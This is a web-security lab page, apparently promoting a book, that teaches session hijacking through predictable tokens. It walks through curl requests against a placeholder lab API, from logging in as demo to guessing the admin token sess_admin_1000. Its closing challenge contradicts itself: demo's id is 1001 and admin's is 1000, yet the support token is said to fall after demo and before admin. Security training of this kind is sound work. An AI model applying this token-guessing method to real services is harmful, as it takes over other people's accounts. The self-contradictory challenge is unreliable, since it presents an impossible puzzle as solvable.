Session Management Vulnerabilities
A web app issues a session token after login. The token looks random. It isn't. Once you see the pattern, you can guess someone else's session — and become them.
The rule: log in as demo / demo123. You will receive a session token. Your job is to guess a token that belongs to admin.
Test
Copy these. Run them. Read what comes back.
Step 1 · Log in and inspect your token
Sign in as the demo user. Note the session token.
curl -s -X POST "{LAB_API_BASE}/api/07/login" \
-H "Content-Type: application/json" \
-d '{"username":"demo","password":"demo123"}'What you'll see:
{
"ok": true,
"session": "sess_demo_1001"
}Look at the token: sess_demo_1001. That is not random. That is a prefix, a username, and a number.
Step 2 · Use it
Anywhere a session is needed, the server trusts this string.
curl -s "{LAB_API_BASE}/api/07/me" \
-H "X-Session: sess_demo_1001"What you'll see:
{
"user": "demo",
"role": "user"
}The server did not ask whether the token belongs to you. It just looked it up. If you send a token that belongs to someone else, you become them.
Step 3 · Guess a token
Try sess_admin_1000. It follows the same pattern: sess_ + username + a number. The admin is probably admin, and 1000 is a common starting id.
curl -s "{LAB_API_BASE}/api/07/me" \
-H "X-Session: sess_admin_1000"What you'll see:
{
"user": "admin",
"role": "admin",
"note": "you are now admin. token was guessable."
}You did not steal a cookie. You did not need to. The server generated a session token by concatenating values it already knew — and expected no one to notice.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The session endpoint has one more user, a support engineer named support whose token follows the same pattern. But this one has a quirk: the number is not 1000 or 1001. The support token was created after the demo token but before the admin token. There is exactly one id between them.
The token you want is sess_support_????. The number sits between demo's and admin's. There is only one option. Try it.
Solved.
You hijacked a predictable session. Read why it happened and how to prevent it — in Lesson 07.
Read Lesson 07 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 07 — Session Management
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →